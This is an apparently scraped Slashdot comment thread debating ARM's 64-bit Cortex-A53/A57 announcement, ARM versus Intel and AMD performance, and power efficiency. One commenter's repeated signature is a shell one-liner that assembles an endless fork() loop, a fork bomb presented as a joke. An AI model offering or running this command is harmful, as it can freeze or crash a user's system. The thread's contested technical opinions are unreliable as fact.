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ARM Announces 64-Bit Cortex-A50 Architecture
MojoKid writes "ARM debuted its new 64-bit microarchitecture today and announced the upcoming launch of a new set of Cortex processors, due in 2014. The two new chip architectures, dubbed the Cortex-A53 and Cortex-A57, are the most advanced CPUs the British company has ever built, and are integral to AMD's plans to drive dense server applications beginning in 2014. The new ARMv8 architecture adds 64-bit memory addressing, increases the number of general purpose registers to 30, and increases the size of the vector registers for NEON/SIMD operations. The Cortex-A57 and A-53 are both aimed at the mobile market. Partners that've already signed on to build ARMv8-based hardware include Samsung, AMD, Broadcom, Calxeda, and STMicro."
The 64-bit ARM ISA is pretty interesting: it's more of wholesale overhaul than a set of additions to the 32-bit ISA.
The 64-bit ARMv8 became available over 12 months ago and no one is making any yet.
http://hardware.slashdot.org/story/12/10/30/0413251/amd-licenses-64-bit-processor-design-from-arm
I deny that I have not avoided attaining the opposite of that which I do not want.
I work at a tech company, and almost everyone I know there owns an APU based machine - generally for HTPC uses, or so they say. Yes, it is true that the fastest chips are made by Intel, but when you look at the cost of typical (not high end) machine, AMD is hard to beat, especially when the graphics in and APU will work fine for you.
So ARM is producing chips now?
I want to delete my account but Slashdot doesn't allow it.
Competition drives innovation.
Who knows if this will be successful or not, but a world with AMD is a world with one more innovator bringing fresh, new ideas to the table and trying things that the members of a smaller oligopoly wouldn't.
I have left slashdot and am now on Soylent News. FUCK YOU DICE.
Look at the article in detail. Isn't it funny how the A-15 is the super-miracle chip that is going to stick it to Intel in the server world! Oh wait.. now that super-miracle chip is the 64-bit ARM Miracle Chip (TM) and the A-15 has been relegated to smartphones instead of taking over the server world.
Fortunately, Intel is completely incapable of making any improvements to its chips whatsoever, so ARM's victory in 2014 is assured.
AntiFA: An abbreviation for Anti First Amendment.
Well, ARM designs the IPs that will go into those products... and they are ready to start selling the IP. It takes a couple of years to build SOCs around them, and then to build the devices.
ARM is selling their product now, their customers will announce their products when they are ready. You can't expect them to keep quiet about what they're trying to sell until it's in an actual phone.
Never underestimate the bandwidth of a 747 filled with CD-ROMs.
I always wonder, why change the ABI so often? after all the instruction set is only the interface between the C compiler and the underlying VLIW CPU engine. That's why the first 64 bit processors were actually slower in 64 bit than in 32 bits, and even today they aren't that faster in 64-bit mode.
I suspect is all a Patent game, that's why CPU designers keeps modifying the ABI. Their patents are expiring all the time.
Well, ARM designs the IPs that will go into those products... and they are ready to start selling the IP. It takes a couple of years to build SOCs around them, and then to build the devices.
I've been wondering about just how much lead time they gave their partners prior to this announcement. Given the rate at which AMD is burning cash and credibility, I doubt they can afford a lead-time that's too long.
More likely, there was some development going on in parallel between ARM and their partners. If I had to guess, AMD started the move to ARM about the time they began discussions on purchasing Seamicro, and soon after lost a bunch of senior executives and engineers (at least some of who probably disagreed over the migration from x86 to ARM).
http://wikipedia.org/wiki/Transmeta#Crusoe
Anyway, i welcome our new ARM-64 overlords.
Anandtech has a better article:
http://www.anandtech.com/show/6420/arms-cortex-a57-and-cortex-a53-the-first-64bit-armv8-cpu-cores
According to them, ARM Cortex A57 core is a tweaked ARM Cortex A15 core with 64 bit support. And ARM Cortex A53 core is a tweaked ARM Cortex A7 core with 64 bit support. It is possible to mix A57 and A53 cores in the same die to improve efficiency.
What I would like to see is this kind of approach in the x86 world. Imagine having an AMD processor with two fast cores (Piledriver's successor, Steamroller) for heavy processing and two lower cores for longer battery life (Bobcat's successor Jaguar).
Or Intel with their future Haswell and Silvermont architectures...
Oh wait.. the first real A15s just launched literally this month and except for Samsung they won't even be on sale from other manufacturers until next year.
The Nexus 4 will be available in November.
Talk up Intel all you like, Arm sells 10 billion cores per year and dwarfs Intel.
http://www.eetimes.com/electronics-news/4372693/ARM-dominates-10B-unit-CPU-core-market
It's not a dominant Intel competing against a little guy, Intel is the little guy hanging on to a fringe market that's being taken over by ARM.
Lets hope this can keep AMD afloat.
A fortune 500 datacenter can easily cost up to 1 million a year in electricity! I/O, not CPU performance is the bottleneck in most servers so the slower ARM wont make that much a deal. Also a kick ass GPU can improve SuperComputing a lot more than a tweaked out Xeon if AMD can pull it off with a decent graphics for scientific workloads.
http://saveie6.com/
Apple & Samsung can sell us non-modifiable devices with locked-down hardware apparently this is supposed to make Linux take over
The vast majority of Samsung ARM devices are modifiable & do not have locked-down hardware. Apple on the other hand does, but I have no idea why you think Apple's locked down devices are going to help Linux take over (wtf have you been smoking?).
There are shills on slashdot. Apparently, I'm one of them.
AMD wants them for dense servers. The CPUs are aimed at the mobile market. Wearable servers FTW!
;).
We'll be doing our virtual telepathy and telekinesis using SOAP, Java, XMPP, etc. Maybe they should add hardware acceleration for base64 encode/decode and XML compression/decompression
Nexus 4 is using Qualcomm Krait, not Cortex A15.
Krait is smaller and more power efficient than ARM's designs. ARM also gets bugger all licensing fees on it, a few cents a core I think.
ARM 64's ISA is radically different than ARM32. All of the things that make Arm "ARM" are gone, such as conditional execution, having the program counter as general purpose register and more. Not only that, the binary encoding is totally different. The binary encoding for ARM64 is a total confusing mess compared to ARM32. I wouldn't say that ARM64 was a well designed ISA.
Other processors made much cleaner transitions between 32 and 64-bit such as MIPS, Power/Power PC and Sparc. Even i386 and x86-64 are much closer than ARM32 vs ARM64.
-Aaron
This post is encrypted twice with ROT-13. Documenting or attempting to crack this encryption is illegal.
... What?
Pretty much all you need to do is get Linux working on it and then the userland falls into place after a compile (assuming it wasn't put together by a horde of drunken monkeys in the first place).
This argument sounds so familiar to me. Isn't it the same reason why Itanium should be very easy to adopt, "just recompile".
Citation needed.
Computer simulation made easy -- LibGeoDecomp
... except that in Itanium's case, amd64 pretty much offers every improvement that Itanium has to offer (well, the ones that a typical user cares about, anyway), at a fraction of the price, while still keeping backward compatibility with what you currently have.
Yep. Intel needs them to appear to have competition so various governments' antitrust investigative units will keep their hands off Intel's business practices.
OTOH, this is (to me) an obvious long-shot that AMD can survive long enough to see and perhaps help ARM do to Intel what Intel did to Sun, IBM and other high-end chipmakers. Perhaps they (AMD) can find funding to last the time it will take for ARM to defeat x86-64.
Or perhaps it won't take very long at all, considering I could replace my ancient desktop/server/backup (Pentium-M 1.6GHz) with a modern, energy-efficient one running ARM-64 and Debian or Ubuntu, were it available.
LOL Wut? ARM has YET to hit even the IPC of a Pentium 4, how many years ago was that chip released? They aren't even close to the Core series, and in case you ain't noticed companies like Nvidia, that have sank BIG bux into ARM, are having to pile on the cores to get decent performance which of course blows the power budget to shit.
The simple facts are 1.- ARM doesn't scale and 2.- Its a hell of a lot easier for Intel, who already has insane levels of IPC, to scale down and have low power chips than it is for ARM to scale up and not blow their power budgets. Even the ARM group has been talking of "dark silicon" because their new designs will blow through the power if you run the whole chip, so they are gonna have to shut bits of it off and only kick them on when absolutely needed.
Lets face facts folks, ARM has just about run its course and the consumers want MOAR, MOAR performance, MOAR multimedia, MOAR everything and Intel will be able to deliver that with crazy IPC on their new Atoms and CULV Core chips while ARM will be blowing just as much if not more power than Intel trying to get the IPC up there. Its ironic that the head of AMD is trying to hitch onto ARM when they have the same problem, lack of IPC.
ACs don't waste your time replying, your posts are never seen by me.
Yeah, it's amusing reading some of these posts. History is littered with cocky assholes who were going to obsolete Intel and x86.
I will take the opposing view, which I call "reality". Intel is a full process level ahead and 14nm is coming in a little over a year. They are dominant in manufacturing, that helps a _lot_. Remind me what the A6X was manufactured at? Oh, yeah - 32nm. Maybe late next year we'll see 20nm ARM chips...maybe.
They have Haswell coming out with a full blown Core architecture scaling down to 10W. It's foolish to think Broadwell at 14nm won't have at least a 5W part. These new ARM chips are running at up to 5 watts. Here's a free clue: ARM will not compete with core chips on performance, so when they are in the same ballpark of power use ARM is in deep shit.
So here's what the future looks like for ARM: It's much easier for Intel to push high performance core chips down the power scale to the 5 and sub 5 watts market (basically everything but phones) than it is for ARM to scale performance up while maintaining any kind of power use advantage.
Oh, and for the mobile phone market, there's Atom. Probably ARM is hoping Intel will keep it a process behind, e.g. it will move to 22nm next year, then only to 14nm a year later, and that's probably right. Even that will be hard for ARM to compete with, but if Intel were to move Atom to a 14nm process, ARM would be in deep shit even in the very low power market. ARM will have enough problems competing with ValleyView.
And 90% of APU's suck. Coincidence?
I'm actually half serious about the wearable server thing. Add thought macro tech, location/area servers and we can do that virtual telepathy/telekinesis thing.
Unfortunately I'm not confident AMD will have great success in whatever they're trying to do with ARM servers. Maybe if Facebook and Google like what they are making.
"Yes, it is true that the fastest chips are made by Intel, but when you look at the cost of typical (not high end) machine, AMD is hard to beat, especially when the graphics in and APU will work fine for you."
Interesting... care to give an example? In most cases, I feel I can spec out an Intel based machine for the same price (also using the IGP) that is fast enough for HTPC use and runs cooler and quieter while using half the power... unless you actually need the extra GPU power or the additional cores AMD likes to throw in at the same price point, what's the point in going with AMD? A Sandy Bridge Celeron/Pentium is more efficient and provides enough processing power for any HTPC I've seen.
I'd actually like to start buying AMD again in order to give them some support, but Intel's where the efficiency bang-for-the-buck is at right now... this may be different for those of you who don't pay your own power bill *cough*mom's_basement*cough* :p
Except its not a 4 bit CPU, it's a 32 bit or 64 bit CPU, just like Intel's offerings are 32 bit or 64 bit, only ARM has far higher volumes and sells far more cores.
They're not the little guy here, Intel are.
Yes they are and by heading more into the mobile arena than Intel I guess they aim to be around a little longer!!
Smartphones with >4GB are not that far off. There are a couple of 2GB phones already.
So it's likely that Android will have 64 bit kernel and 32 bit userland before long.
Though you can probably kludge it with something like PAE - i.e. a 32 bit kernel with >32bits of address space.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Concur. ARM is fucked, it's funny people don't see that. They will move back to basically providing only ultra low cost and ultra low power chips. They will see their high end aspirations kicked to the ground, and will be pushed lower and lower in the tablet and mobile phone market over the next 2 years.
ARM's core business is processor cores — CPU layouts to laymen — that other companies can take and add their own extra bits to before manufacturing. It's called System-on-Chip (SOC) and it's an area where Intel doesn't have much of a grasp precisely because it involves giving your design to other companies, letting them modify it by adding stuff, and then manufacture it themselves (or through a third-party). Now, it's hardly surprising that the high-end SOC guys want a larger addressing mode; the forces which pushed desktops also push mobile devices and the like.
What amuses me is the push to e.g. servers. Gee, can I get a server with 1000 cores that's slower in almost every operation than a 16 core Xeon server? Oh, and can you make it useless for virtualizing servers or doing anything but light load trivially parallelizable tasks?
I know a few scientists with tasks to do that are embarrassingly parallel and with far more data than you can shake a whole bushel of sticks at. Being able to stuff even more cores into a rack (where power and cooling are usually the main constraints) is going to be of great interest to them. Whether it will beat out GPUs is the real question though. I expect it will for some workloads (ones with more complex conditional processing in the individual units of processing) but not others. And Intel remains the fastest situations where raw single-threaded power is required, which frankly is a lot of code.
Supercomputing doesn't operate under the same constraints that desktop or normal server computing does. Supercomputer makers try to pack as much computing power in as small a space as possible (because delays effectively due to the speed of light are quite a significant problem otherwise). All too often, the main challenge with a supercomputer is stopping it from cooking itself and setting fire to the building...
"Little does he know, but there is no 'I' in 'Idiot'!"
I think ARM is very safe in mobile devices. It's low power consumption most ARM chipsets have video acceleration, so it can still play HD video. It's licensable too, which is handy for SoCs. Also the cores are tiny.
Moving to Atom would give phones more CPU power but I'm not convinced there is much need for it. I've got an Samsung Galaxy S2 and it's not like there is anything I do that is CPU bound. Smartphones have poor battery life already though, and a move to x86 is going to make that worse.
Now Intel are talking about licensing Atom, but I think they face an uphill battle. ARM's mix of low thermal power/low CPU power compared to x86 and small licensable cores aimed at TSMC is basically ideal for people like Samsung, Qualcomm and so on. In fact Qualcomm have spent a lot of money developing their own microarchitecture for ARM - the Snapdragon and Krait cores. If they moved to x86 they would not be able to do that. NVidia are obviously graphics focussed. So it's hard to see the ARM SoC vendors switching to Intel.
Of course Intel is safe in servers and laptops because there you do need x86 compatibility and more horsepower even at the cost of a higher power consumption.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
I will take the opposing view, which I call "reality". Intel is a full process level ahead and 14nm is coming in a little over a year. They are dominant in manufacturing, that helps a _lot_. Remind me what the A6X was manufactured at? Oh, yeah - 32nm. Maybe late next year we'll see 20nm ARM chips...maybe.
Your ignorance is fascinating. Intel are the biggest single manufacturer, yes, but ARM sells to nearly every other manufacturer. It's a different business model. Let's emphasize that for you: ARM are fab-less; they don't manufacture themselves. A consequence of this is that the process scales for ARM are usually a lot larger, and that's because the non-Intel manufacturers are a generation or two behind. (Intel spends a lot on staying ahead on that front.) But that's OK; the other manufacturers are usually using those ARM cores to produce SOC, that is, a CPU plus extra bits for a specific application (such as hardware for doing 4G mobile comms or video stream processing). Specialist hardware beats a general CPU in the application for which that specialist hardware was designed, which shouldn't be a surprise (it's been true for as far back as I can think).
I'll bet that ARM will only really start worrying about Intel at the point when Intel start trying to sell high-performance CPU cores for SOC use together with the right to use Intel's own fabs to make the resulting parts. Or if Intel start helping other companies to tech up to an equivalent level so as to be able to make parts at the same scale as Intel. Also known as a cold day in hell; that's totally alien to Intel's business model. (Heck, if Intel were to help other fabs to be able to make 14nm parts, I'd bet that ARM would happily produce a 14nm core to use with that process...)
Oh, and for the mobile phone market, there's Atom.
Are Intel licensing that to other manufacturers for SOC use? No? Then it's not a real player; cutting the component count at the overall device level is more important than speed to phone makers, as it's cheaper for them like that.
"Little does he know, but there is no 'I' in 'Idiot'!"
This type of early release of a core design is standard in the embedded and SoC world.
It takes some time after the core is available for it to be integrated into the SoCs that third parties are designing and building. That's why there is a gap between ARM "launching" a core design, and it being included within a device that you can buy on the high street.
Itanium was just a recompile. The problem was that the resulting code was then typically very slow, because Itanium is a complete bitch as a compiler target. In contrast, ARMv8 is a beautiful architecture to target. To give you some idea of how easy it is, the ARMv8 back end for LLVM was written entirely by one guy in under a year and already performs well (although there's still room for optimisation). LLVM, GCC and ICC all still suck at producing good code for Itanium, and they have had hundreds of man years of effort thrown at them.
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Another post by someone who doesn't consider that ARM is targetting both performance/dollar and performance/watt.
NVIDIA actually adds an extra core because the cores are small enough to do that, and thus have a special low-power core for idling processes. It works very well, it's a shame that NVIDIA's mobile graphics are so lame in comparison.
I have seen no proof that ARM doesn't scale, and indeed this design is targeting on-chip clusters (4x4cores) using the new interconnects that ARM has just started making available.
It is incredibly difficult to scale down a power hungry design to low power - it needs to be done during the design. Haswell will include a lot of that in its design, but it still won't be a 1W core. ARM's designs are targeting ultra low power consumption as a standard mode of operation, hence the big.LITTLE designs (actively switch to/from ultra-low-power ISA compatable cores and high-performance cores).
Consumers are also not asking for more, more, more performance. ARM SoCs include dedicated hardware for the multimedia and security that you mention. Intel's new Atoms (not out yet) may perform better than their old ones, but nobody wants to do comparative tests except in Javascript benchmarks that are extremely well optimised for x86.
The A15 supports LPAE, so you can have a 40-bit physical address space with a 32-bit virtual address space. This lets you have up to 1TB of physical RAM in your tablet (which might be interesting if you wanted to memory map the flash directly), as long as no single application uses more than 4GB of address space. Given that on my 64-bit laptop, the process with the most virtual address space at the moment is using 1.2GB, I think that's probably a safe assumption for a few years...
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I agree that ARM is safe in mobile and tablets. That doesn't mean that Intel won't get a slice of the market, but I don't think that Intel will ever have the flexibility and price advantages of ARM.
Moving to Atom would give phones more CPU power
That's debatable as well, because Intel only offers a single-core, hyperthreaded Atom at 1.3GHz (with some turbo features), that only performs well in Javascript benchmarks. Quad-core A9s and dual-core A15s are more than competitive, and definitely include far better graphics these days - something that people will make use of (games, UI, etc).
ARM have a product for everyone to license. This also adds 64-bits to the mix, in time for 8GB phones and tablets in 2014/2015.
x86 compatibility in servers - only if your running Windows Server. I haven't seen Microsoft crowing about server sales for quite some time, Linux is really the leader here. And Linux runs on ARM. Java runs on ARM. Perhaps it is only a matter of time... Power consumption is already an issue in data centres...
That's debatable as well, because Intel only offers a single-core, hyperthreaded Atom at 1.3GHz (with some turbo features), that only performs well in Javascript benchmarks.
I picked a bad example saying 'phone'. Look at netbooks, and servers. Or tablets.
Most of the time the slowest Atom is about as fast as the fastest ARM, and for a bit more $ and Watts you can get a much faster x86/x64 chip.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
What would "IP" mean anyway, with the fact that it is utterly impossible to ever control every single human being and computer you sent a copy to
We're talking about CPU designs. If you copy it illegally, then you have to spend a billion or so dollars on a fab. Or spend a few million to buy some time on someone else's (and hope that they don't check with ARM that you're actually a licensee). Enforcing copyright is pretty much impossible on mass-market goods, but when you're talking about something that has a target market of maybe 100 companies (if you're wildly optimistic) then it's not exactly hard to keep track of them.
And buying the ARM license doesn't just get you their core design. It also gets you access to their simulator and their (immense) verification suite, so that you can check if any of the modifications that you made broke compatibility with anything. And, most importantly, it gets you time with ARM engineers. If someone from Qualcomm or TI has a question about any aspect of the ARM architecture, they can get the engineer who designed that part on the phone almost immediately and they can probably get him put on a plane and sent over to them for a week quite quickly if they want more time. ARM doesn't just license their designs, they also license their expertise. ARM engineers spent a lot of time working with nVidia on their upcoming ARMv8 core, for example.
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Actually you're right - a 32 bit kernel with a 40 bit address space can obviously have more than 32 bits of address space.
I remember Windows had a crippled implementation of PAE - memory about 4GB couldn't be paged and could only be accessed with a special API. Basically it was like a Ram disk.
But there's no reason why you could have multiple processes taking up more than 4GB in total - the kernel would just map their address space when they were running and unmap it when they weren't.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
The simple facts are 1.- ARM doesn't scale
It hasn't yet. Perhaps it will. So far, it targets a different space than amd64.
and 2.- Its a hell of a lot easier for Intel, who already has insane levels of IPC, to scale down and have low power chips than it is for ARM to scale up and not blow their power budgets
But so far, this strategy has not permitted Intel to achieve as low TDP nor as much IPC per watt as ARM. So you can say that it's easier, but so far ARM has not scaled up as far as Intel, nor has Intel scaled down as far as ARM. When intel delivers a TDP as low as ARM with the same performance, wake me up, and I'll care. Until then, ARM is working fine, and many people are pretty happy with existing ARM-based tablets, as evinced by how well they're selling.
"You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
Friend, haven't you noticed the trend? Apple is pushing retina
Except for the new mini-Pad, of course. Apple is pushing whatever people will give them money for. If people will give them more money for more speed, they'll take it. But is the market really demanding it, or has Apple simply discovered that the people who are willing to give them money for their inferior product in the first place are willing to give them even more of it for more and shinier?
"You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
It's interesting I'm typing this on a netbook. That's got an Atom N570 a 1.6Ghz dual core, in order hyperthreaded CPU. My phone has dual core Cortex A9s which are 1.2Ghz out of order and single issue.
If you'd have said five years ago that Arm would go out of order and Intel would go in order, I'd have thought it was absurd. Then again you're comparing the (then) slowest Atom with the (then) fastest Arm.
According to this
http://www.7-cpu.com/
An Atom N270 at 1.6Ghz with two threads gets a score of 1000 MIPS Compressing and 1500 MIPS Decompressing.
An Exynos 4210 at 1.2Ghz with 4 threads gets 1380 MIPS Compressing and 2130 MIPS Decompressing.
Unfortunately there's no result for an N570 but judging by the other results doubling up the number of cores should make it a bit faster than the Exynos 4210. Still it's probably quite close. Which is remarkable actually - the Exynos uses slow mobile SDRAM and the Atom uses DDR2.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
"The 64-bit ARM ISA is pretty interesting: it's more of wholesale overhaul than a set of additions to the 32-bit ISA."
OS based on Linux and OSS just need athat GCC supports it, which it already does, and Microsoft will only need another 12 years of rewriting^w research until they can come up with Windows RT 64.
(I stand corrected: the Linux kernel itself was up and running on ARM 64 even before GCC ofically supported it: http://www.phoronix.com/scan.php?page=news_item&px=MTIwNzU )
-><- no
Next gen Intel x86 has a lower idle power draw and better performance/watt than current ARM cpus. I don't know what new ARM cpus may be out next year, but that means Intel has closed the gap on cellphones.
Its a hell of a lot easier for Intel, who already has insane levels of IPC, to scale down and have low power chips than it is for ARM to scale up and not blow their power budgets
[Citation required]
Intel have insane levels of IPC because they use insane amounts of power. IPC and power are correlated, yeah? It takes power to run all those parallel circuits that can look ahead in the instruction stream and provide high IPC. The laws of physics work the same way for Intel as they do for ARM. So, why is it easier to scale down than scale up? ARM's major advantage is they don't have to spend power decoding the x86 instruction set. Unless Intel are proposing a new ISA, which they're not, they are always going to have lower feasible performance per Watt. Basic physics. And performance per Watt is what matters on mobile, not IPC. The funny thing is, this is beginning to matter in the server space too. So far from Intel significantly eating into ARM's mobile market, ARM are going to start eating into Intel's server market. For desktops, IPC is way more important than performance per Watt, so Intel are safe for the foreseeable future.
As for "dark silicon", that's Intel main trick for reducing power consumption, so it's a funny argument to make against ARM.
ARM is fucked
Of course they are. Their immense popularity in mobile phones and tablets, and their presence in both the DS and 3DS is such a sign of failure. Attracting enough attention fro Microsoft to port Windows to ARM is also a sign of massive failure.
Have I broken your sarcasm detector yet?
No colour or religion ever stopped the bullet from a gun
ARM has YET to hit even the IPC of a Pentium 4
Why would they do that? Do you plan to write single-threaded ARM applications for the next two decades?
Ezekiel 23:20
Or, in ither words, for some less batery life, you can get a computer that performs faster (notice that price doesn't even enter the equation). That may seem like a deal for you, but it is not for lots and lots of people.
The netbooks and servers market is already owned by Intel, ARM can't lose it (they can only gain market share there). Weight and batery life are two of the most important features of a tablet (only comparable to screen size/definition, and OS), it is a tough market for hungry chips.
Most people that claim that ARM is dead arguee that Intel will outinvest them, and consequently get the best portable chip once they start trying. That can't be proven false. But your argument doesn't hold any water.
Rethinking email
But there's no reason why you could have multiple processes taking up more than 4GB in total - the kernel would just map their address space when they were running and unmap it when they weren't.
Actually, it's simpler than this with LPAE. ARM has a tagged TLB, and the way LPAE is implemented you don't even need to do the unmapping. LPAE just extends the page table format, so the translation is from a 32-bit input to a 40-bit output instead of from a 32-bit input to a 32-bit output.
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Will the new architecture run Dalvik any faster? You know, 'cause Android apps aren't native anyway.
I'm sure Intel would luuuuve to start offering chips at 2X the price of the equivalent AMD one again; if only iPads, Phablets, web apps, the console-led stagnation of game requirements, cloud computing, and Windows XP being almost good enough wasn't killing all the demand at higher price points.
Might AMD just license the instruction set and not the hardware design? Could they then bolt an ARM instruction decoder onto their core right next to the x86 decoder and run code for either architecture on mostly the same hardware?
We're talking about CPU designs.
I'm not sure about that. How would ARM react if you designed your own core conforming to publicly-available information on the ARM ISA?
Ezekiel 23:20
x86 will linger like COBOL or Java or Win32.
http://rocknerd.co.uk
That depends. If you market it as an ARM core without passing their compatibility test suite, then they'd be very unhappy. Similarly, if you violated any of their patents. But read the rest of my post: the point is that the number of potential customers is small. We actually have an ARMv7 implementation that runs in an FPGA that ARM knows about. They're quite happy with it, because it gives our students experience working with their architecture. There's a fairly widely distributed design from Edinburgh that is very ARM-like, but omits some of the harder bits, and again ARM is fine with it because it uses a different name.
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ARM gets to completely redesign their ISA to be more superscalar friendly.. like what Power and MIPS had for years. They get to do this because they now have huge mind-share from the low-end. It will be interesting if they can really compete at all in the high end. Eventually they will have to compete with things that other vendors have tuned for years, such as cache size and smart cache-prefetching. MIPS and Power really dropped the ball on the low end and are hurting for it. For MIPS I think the issue is that their ISA is not as powerful as ARM for simple single-issue CPUs. In particular, not auto-increment. Power does have this (with the pre-add offset to index register), but somehow they never made in the mobile world. Maybe Freescale and AMCC didn't try hard enough.
It helps to have AMD around, but doesn't prevent antitrust issues. Even if AMD has around 20% of market share in consumer desktops, Intel can still be dragged over the coals for anti-competitive behaviours. Any company's ability to use anti-competitive measures pretty much depends on them being dominent, in either the market in question or another that would grant them a significant advantage. e.g. John's Washing Machines using their market dominance in washing machines to break in to the toaster market by refusing to washing machines to electrical stores that sell competing toasters - even though at the time John's Toasters are about as popular as cholera.
No doubt though, having an alternative source of x86 and x86-64 chips does help intel's general case against anti-trust measures. AMD could vanish tomorrow, and Intel could remain completely free of anti-trust issues in relation to x86 and x86-64.
-- Using the preview button since 2005
Why oh why is this downvoted? It's +5 informative, with a touch of flamebait. I can't but agree.
A successful API design takes a mixture of software design and pedagogy.
For most Linux hosting, I don't think anyone cares a damn about x86 compatibility. As long as there's a Debian and CentOS/RHEL support for the architecture, and a decent Java implementation, nobody gives a damn, I don't think. All the open source stuff can be compiled pretty much for anything you want, and the world-facing web "stuff" typically uses php anyway, so as far as the user is concerned it can run on PDP-11 architecture with paging.
A successful API design takes a mixture of software design and pedagogy.
The fanboys can waste mod point but truth is truth and Good Lord Man is that page old and out of date! I don't see what you are trying to "prove" with a test that 1.-Nobody with ANY common sense at all is gonna actually be doing in real life on ANY of these chips, and 2.- A test that has got to be at LEAST 2 years old in the results, which is like a decade on the mobile front! They only have the single core Atoms, they only have the AMD E350, which isn't even sold anymore,....what good is this "test" and what is it supposed to prove? I'm sure I can dig up a test from 5 years ago showing how crappy ARM's IPC is but I doubt it would be of any use except for historical purposes...which considering that actually has 486 chips listed on the page? yeah historical purposes is pretty much ALL the LZMA test is good for anymore.
BTW here is a link of my own, showing that leakage at 50nm can be as much as 40% and that below 50nm it all comes down to the fabs and who has the better process...hmm...I wonder who that gives a serious advantage to? Not to mention that again, its easier for Intel to scale down than for ARM to scale up, since they already have the powerful chips, and the fabs, and the process, while ARM is having to try to crank up the IPC without blowing the power budget AND deal with leakage.
ACs don't waste your time replying, your posts are never seen by me.
DDR-2? DDR-2! Welcome to the Pleistocene. I am constantly amazed at what a piece of shit the Atom design is. 45 nm and just now making it to 32 nm? Snort. It should be 22 nm like the Ivy Bridge. At least ValleyView is FINALLY getting real graphics, not that third party toy crap.
Atom as a piece of Intel's range (not as a specific design anything like the garbage it is now) has HUGE potential to improve.
Your Atom specs are false. The Motorola Razr i (okay, not available in the US because it doesn't have LTE) is shipping with a dual-threaded 2.0 GHz Atom core. The next chips due for the holiday sales season will be dual-core, hyperthreaded, and also spec'ed for 2.0 GHz with LTE. The graphics isn't quite there yet, but the gradual move away from third-party vendors will be a step in the right direction.
Atom design is. 45 nm and just now making it to 32 nm? Snort. It should be 22 nm like the Ivy Bridge
I think it's because Atoms are being made on the TSMC process or one of Intel's older and cheaper fabs to make them even cheaper.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Oh, and for the mobile phone market, there's Atom.
Are Intel licensing that to other manufacturers for SOC use? No? Then it's not a real player; cutting the component count at the overall device level is more important than speed to phone makers, as it's cheaper for them like that.
Intel sells full fledged SoCs equivalent to Samsung's Exynos line, etc. with Atom cores. Sure ARM licenses cores, but they aren't even a fabeless chip company they're a processor IP company. They sell Nvidia, Samsung, MediaTek etc. the right right to use ARM IP in their SoCs, which are then fabricated by TSMC, GlobalFoundries etc. Of course Intel isn't going to license you their cores. They want to sell you an SoC they designed, not their IP. That's like saying Qualcomm isn't a real player in the SoC business because they didn't license the Krait core to anyone else.
In addition, on a more general note, comparing margins from fabless guys to Intel is always a bit disingenuous. Intel, being vertically integrated, gets to combine the margins of the foundry, core IP house, EDA guys, and final SoC integrator. Of course they'll have better gross margins.
I don't really understand the dynamics of how x86 will move into the smartphone arena. I can't imagine companies like Samsung, who's manufacturing their own ARM based SOCs, would pay a premium for an Intel CPU that would cut massively into their profits, right? How does Intel get their foot in the door? Who's going to use Intel CPUs in their smartphones and tablets? And why is everyone so quick to write off ARM; a company who's processor designs are actively competing in mobile, and give the nod to Intel who doesn't even have a real offering in an already very mature market. It seems crazy to me. I appreciate that Intel has the lead in the fabrication process, already producing chips at 22nm, but I still don't see any Intel phones on the shelf at Verizon/AT&T -- and it's 2012. We're on the iPhone FIVE at this point. The previous Atom chips have been an absolute disaster. Exactly when do these people expect Intel to swoop in and dominate the smartphone/tablet arena, and how???
What amazes me is how people can be blind to this, when it should have been obvious when they needed "helper chips" like the Broadcoms to do 1080P decode, something that a P4 from 8 years ago could do with relative ease.
The ARM arch was just never designed to scale to the kinds of levels we are needing in today's devices, and you are seeing that as they try to ramp up the power budgets quickly go to shit. this is why you aren't seeing 3GHz ARM chips like you did X86 during the MHz wars, the power budget to ramp the chip that high, not to mention the cooling cost, would simply be too great so instead you are seeing more and more cores "bolted on" trying to make up for the lack of IPC. We saw that same strategy with AMD, didn't work out so well.
Whether the ARM fans like it or not the future is crazy high def screens, games that look better than what the X360 is putting out now, and to do those kinds of things you are gonna need a HELL of a lot more IPC than what we are seeing now. More cores and helper chips only get you so far, as all that needs more power to run. Frankly Intel could sit on ass and end up winning the market by default, by simply letting people's demands for ever higher quality video and games come to them, but they are still shrinking dies and coming up with new designs, and I have NO doubt in less than 16 months you'll see Atom chips that will just smoke the multicore ARMs at less of a power budget. in the end they have the fabs, they have the R&D, they have the processes down, its just a matter of time.
ACs don't waste your time replying, your posts are never seen by me.
But which would be MORE valuable to your HPC friends, a thousand cores that individually are weaker than a Pentium 2, or 250 Magny Cours or Core i7 chips that can blow through twice as many instructions per second as those 1000 chips?
As we all know TINSTAAFL and there is ALWAYS a trade off, and in the case of ARM its frankly lousy IPC. So far many companies have sunk serious R&D into ARM and they haven't solved the problems so its doubtful that the arch is gonna hit even P4 levels of IPC anytime soon. For huge parallel loads you have both the Tesla GPUs and you have the Opteron and Xeon chips, and this is actually one place where the half core design of the new Opterons would probably work well as you could stuff more per rack than you can the Xeons.
Does this mean these won't have a niche? Nope, I could see these with a custom Linux server backend being used for light loads where it switched over to the Opteron for heavy computing which is what i think AMD is gonna try to do with this, but I just have to wonder how big a market there is for that as most servers i've dealt with are either under strain a LOT of the time or almost never under strain, and guys like your HPC friend I'm sure would be pounding the living hell out of the chips so I have to wonder with such a low IPC if they wouldn't be better served with 200 Xeons or 300 Magny Cours in the same rack space.
ACs don't waste your time replying, your posts are never seen by me.
Agreed.
If it weren't for AMD, Intel would still be selling us Pentium-4 derivatives and quoting clock speed as being equal to performance.
Anyone want to imagine a 32-GHz small-pipeline CPU that sucks 1200 watts? That's what our present might have been....
